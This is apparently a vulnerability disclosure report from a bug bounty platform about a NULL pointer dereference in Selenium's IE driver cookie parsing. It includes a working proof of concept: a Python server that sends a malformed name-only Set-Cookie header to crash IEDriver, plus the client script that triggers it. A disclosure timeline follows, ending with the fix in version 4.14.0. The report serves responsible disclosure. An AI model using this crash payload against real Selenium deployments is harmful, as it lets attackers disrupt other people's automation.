NULL Pointer Dereference in seleniumhq/selenium

Valid

Reported on

Sep 20th 2023


Environment

Windows 10 22H2 19045.3448

Version

I checked against the latest trunk as of 09/19/23 at commit 3a126babc77dd5af4cd8fb0c45d8c0eb172c7b8c and the current release 4.12.0.

Description

This is a null pointer dereference that causes the IE driver to crash when selenium gets the cookies from an attacker controlled page. At a high level, the bug is caused by an insufficient check on data returned from Edge (Internet Explorer mode).

Details

The implementation of its cookie handling mechanism, specifically within the CookieWndProc function is where the bug is triggered. When iterating through a list of INTERNETCOOKIE2 structures, the pwszName member of the INTERNETCOOKIE2 structure is assigned to a std::wstring object without first checking if pwszName is a nullptr. This results in a CWE-476 NULL Pointer Dereference.

Code Snippet

/cpp/iedriver/CookieManager.cpp lines 519 to 537.

std::wstring all_cookies = L"";
for (DWORD cookie_index = 0; cookie_index < cookie_count; ++cookie_index) {
    if (all_cookies.size() > 0) {
      all_cookies.append(L"\n*\n");
    }
    INTERNETCOOKIE2* current_cookie = cookie_pointer + cookie_index;
    std::wstring cookie_name = current_cookie->pwszName;
    std::wstring cookie_value = L"";
    if (current_cookie->pwszValue) {
      cookie_value = current_cookie->pwszValue;
    }
    std::wstring cookie_domain = L"";
    if (current_cookie->pwszDomain) {
      cookie_domain = current_cookie->pwszDomain;
    }
    std::wstring cookie_path = L"";
    if (current_cookie->pwszPath) {
      cookie_path = current_cookie->pwszPath;
    }

The code at line 525 assigns a value from pwszName to cookie_name without checking the value therein. The checks of pwszValue, pwszDomain, pwszPath are sufficient on lines 527, 530, and 535 respectively.

The offending line:

std::wstring cookie_name = current_cookie->pwszName;

The std::wstring constructor expects a valid pointer to a null-terminated string when initialized with a pointer argument. If pwszName is nullptr, the underlying mechanism in std::wstring will attempt to determine the length of the string using a function akin to wcslen. This function is not designed to gracefully handle a nullptr, leading to an attempt to access memory at the null address, which subsequently results in an access violation.

POC

Attacker Server Code

from http.server import BaseHTTPRequestHandler, HTTPServer
from datetime import datetime, timedelta

class CustomHTTPRequestHandler(BaseHTTPRequestHandler):

    def do_GET(self):
        # Send response status code
        self.send_response(200)

        # Send headers
        self.send_header('Content-type', 'text/html')
        # Set the cookie expiration to one day in the future
        expiration_date = (datetime.utcnow() + timedelta(days=1)).strftime('%a, %d %b %Y %H:%M:%S GMT')
        
        well_formed_cookie = f"cookie_name=cookie_value; Domain=127.0.0.1; Path=/; HttpOnly; Expires={expiration_date};"
        self.send_header('Set-Cookie', well_formed_cookie)

        malicious_cookie = f"cookie_name2" #crash
        self.send_header('Set-Cookie', malicious_cookie)

        self.end_headers()

        # Send message back to client
        message = "Hello world!"
        self.wfile.write(bytes(message, "utf8"))
        return

def run():
    print('Starting server...')
    server_address = ('127.0.0.1', 8090)
    httpd = HTTPServer(server_address, CustomHTTPRequestHandler)
    print('Server is running...')
    httpd.serve_forever()

run()

Example Victim Code

from selenium import webdriver
import logging
import time

handler = logging.FileHandler("sel.log")
logger = logging.getLogger('selenium')
logging.basicConfig(level=logging.DEBUG)
logger.setLevel(logging.DEBUG)
logger.addHandler(handler)

options = webdriver.IeOptions()
options.ignore_zoom_level = True
options.ignore_protected_mode_settings = True
options.attach_to_edge_chrome = True
options.initial_browser_url = 'https://selenium.dev'
service = webdriver.IeService(log_file="ie.log", log_level='DEBUG')
driver = webdriver.Ie(options=options,service=service)

driver.set_page_load_timeout(20)
print("Getting the page: ")

try:
    driver.get("http://127.0.0.1:8090/")
except Exception as e:
    print(e)

print("Got the page!")
print("Get Cookies: ")
cookies = driver.get_cookies()
print(cookies)
time.sleep(3)
driver.quit()

Impact

Impact

In scenarios where an attacker can control or influence the contents of the INTERNETCOOKIE2 structure, especially the pwszName member, this vulnerability can be exploited to crash the IEDriver. The IEDriver crashing hangs the python interface for selenium.

Occurrences

This the specific line that instantiates a std::wstring with a NULL ptr that causes the fault.

We are processing your report and will contact the seleniumhq/selenium team within 24 hours. 5 months ago
Renzo submitted a
5 months ago
We have contacted a member of the seleniumhq/selenium team and are waiting to hear back 5 months ago
We have sent a follow up to the seleniumhq/selenium team. We will try again in 4 days. 5 months ago
We have sent a second follow up to the seleniumhq/selenium team. We will try again in 7 days. 5 months ago
We have sent a third follow up to the seleniumhq/selenium team. We will try again in 14 days. 4 months ago
seleniumhq/selenium maintainer gave praise 4 months ago
The researcher's credibility has slightly increased as a result of the maintainer's thanks: +1
seleniumhq/selenium maintainer validated this vulnerability 4 months ago

Fixed and released in 4.14.0

coolkingcole has been awarded the disclosure bounty
The fix bounty is now up for grabs
The researcher's credibility has increased: +7
seleniumhq/selenium maintainer marked this as fixed in 4.14.0 with commit 023a0d 4 months ago
Renzo has been awarded the fix bounty
This vulnerability has now been published 4 months ago
CookieManager.cpp#L525 has been validated
to join this conversation